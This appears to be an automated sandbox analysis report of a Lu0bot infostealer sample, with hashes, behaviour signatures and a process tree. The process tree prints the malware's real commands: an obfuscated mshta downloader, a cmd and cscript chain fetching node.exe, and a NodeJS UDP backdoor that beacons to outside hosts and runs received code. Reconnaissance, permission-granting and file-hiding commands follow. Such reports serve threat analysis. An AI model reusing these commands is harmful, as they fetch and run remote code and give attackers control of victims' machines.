Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    20-07-2021 12:04

General

  • Target

    79fa77b796300ef5bafb6bcee46fc30f.exe

  • Size

    3KB

  • MD5

    79fa77b796300ef5bafb6bcee46fc30f

  • SHA1

    e6ba2132d8058c0532492da00aaec117fff56df4

  • SHA256

    4c99457625e752a03693aab64e2b5129eff89872c649194e81bd87809ed1ae13

  • SHA512

    0ae044695cffc50eb1c112ee85e37d0e0c9779c4f6bbbbabb6cd85771ac408414dfd3f804f8175fb56a6d995b259f830cbd6f2380cecb08975955e63f0204faf

Malware Config

Signatures

  • Lu0bot

    Lu0bot is a lightweight infostealer written in NodeJS.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • NTFS ADS 2 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 42 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\79fa77b796300ef5bafb6bcee46fc30f.exe
    "C:\Users\Admin\AppData\Local\Temp\79fa77b796300ef5bafb6bcee46fc30f.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:788
    • C:\Windows\SysWOW64\mshta.exe
      mshta "javascript:document.write();35;y=unescape('%321%32%7E%68t%74p%3A%2F%2Fl%751%2Ea%73i%61%2F%68r%69%2F%3F2%31a%36e%34b%7E2%322').split('~');73;try{x='WinHttp';187;x=new ActiveXObject(x+'.'+x+'Request.5.1');250;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);84;x.send();170;y='ipt.S';202;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);34;}catch(e){};67;;window.close();"
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:2012
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626782662284.txt & cscript /nologo /e:jscript get1626782662284.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2ec4146e7%26b%3Dd98a910e" node.cab & expand node.cab node.exe & del get1626782662284.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626782662284.txt & cscript /nologo /e:jscript get1626782662284.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27ec4146e7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626782662284.txt
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1792
        • C:\Windows\SysWOW64\cscript.exe
          cscript /nologo /e:jscript get1626782662284.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2ec4146e7%26b%3Dd98a910e" node.cab
          4⤵
          • Blocklisted process makes network request
          PID:1712
        • C:\Windows\SysWOW64\expand.exe
          expand node.cab node.exe
          4⤵
          • Drops file in Windows directory
          PID:432
        • C:\Windows\SysWOW64\cscript.exe
          cscript /nologo /e:jscript get1626782662284.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27ec4146e7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
          4⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:556
          • C:\ProgramData\DNTException\node.exe
            "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27ec4146e7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • NTFS ADS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1764
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c dir C:\
              6⤵
                PID:1544
              • C:\Windows\SysWOW64\cacls.exe
                cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
                6⤵
                  PID:1716
                • C:\Windows\SysWOW64\icacls.exe
                  icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
                  6⤵
                  • Modifies file permissions
                  PID:1584
                • C:\Windows\SysWOW64\attrib.exe
                  attrib.exe +H C:\ProgramData\DNTException
                  6⤵
                  • Views/modifies file attributes
                  PID:1604
                • C:\Windows\SysWOW64\attrib.exe
                  attrib.exe +H C:\ProgramData\DNTException\node.exe
                  6⤵
                  • Views/modifies file attributes
                  PID:1600
                • C:\Windows\SysWOW64\tasklist.exe
                  tasklist /fo csv /nh
                  6⤵
                  • Enumerates processes with tasklist
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1904
                • C:\Windows\SysWOW64\Wbem\wmic.exe
                  wmic process get processid,parentprocessid,name,executablepath /format:csv
                  6⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1232
                • C:\Windows\SysWOW64\ipconfig.exe
                  ipconfig.exe /all
                  6⤵
                  • Gathers network information
                  PID:1788
                • C:\Windows\SysWOW64\route.exe
                  route.exe print
                  6⤵
                    PID:964
                  • C:\Windows\SysWOW64\netstat.exe
                    netstat.exe -ano
                    6⤵
                    • Gathers network information
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1072
                  • C:\Windows\SysWOW64\systeminfo.exe
                    systeminfo.exe /fo csv
                    6⤵
                    • Gathers system information
                    PID:472

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • memory/1712-64-0x0000000075551000-0x0000000075553000-memory.dmp

          Filesize

          8KB

        • memory/1764-74-0x000000002C800000-0x000000002C801000-memory.dmp

          Filesize

          4KB

        • memory/1764-75-0x000000000DD00000-0x000000000DD01000-memory.dmp

          Filesize

          4KB

        • memory/1764-79-0x0000000007E00000-0x0000000007E01000-memory.dmp

          Filesize

          4KB

        • memory/1764-76-0x000000002D400000-0x000000002D401000-memory.dmp

          Filesize

          4KB

        • memory/1764-77-0x0000000006D00000-0x0000000006D01000-memory.dmp

          Filesize

          4KB

        • memory/1764-78-0x000000000E100000-0x000000000E101000-memory.dmp

          Filesize

          4KB